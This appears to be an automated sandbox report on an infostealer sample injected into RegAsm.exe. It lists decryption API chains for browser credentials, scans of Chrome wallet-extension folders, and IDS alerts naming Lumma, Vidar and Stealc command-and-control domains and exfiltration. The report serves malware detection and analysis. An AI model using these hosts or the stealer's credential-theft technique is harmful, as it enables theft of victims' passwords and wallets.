Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C156C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C156C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.224:443 -> 192.168.2.5:49762 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: System.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3294744618.00000000388F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3264926366.000000002CA1E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: \??\C:\Windows\System.pdb56 source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3225824440.0000000000DB8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: tem.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: tem.Core.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\mscorlib.pdb<qhq source: MFDBG.exe, 0000000E.00000002.3356008529.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ZC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbkm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.PDBxq source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.pdb4 source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: orlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 00000000000000000400000000000000e.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Directory queried: number of queries: 1001

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_0041510B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+24h]	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-1Ch]	13_2_0040E9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	13_2_0041A040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edi+edx]	13_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	13_2_00443010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+44h]	13_2_0041D1CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 54CA534Eh	13_2_004472C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	13_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	13_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	13_2_0043A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	13_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	13_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	13_2_00443460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	13_2_0042D46E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	13_2_0041447C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	13_2_004474C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	13_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	13_2_0042F530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	13_2_00444590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	13_2_00445643
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	13_2_00405680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	13_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	13_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	13_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+14h], 12EEEC16h	13_2_0042E7F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	13_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	13_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	13_2_00449A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	13_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	13_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000006A8h]	13_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	13_2_0040DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	13_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	13_2_00414C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	13_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	13_2_00440D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h	13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	13_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	13_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [00450078h]	13_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	13_2_00425EF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.5:55767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.5:54644 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.5:56512 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.5:63337 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.5:50295 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.5:54607 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.5:63087 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.5:53002 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49745 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.5:49756 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49718 -> 5.75.211.162:443
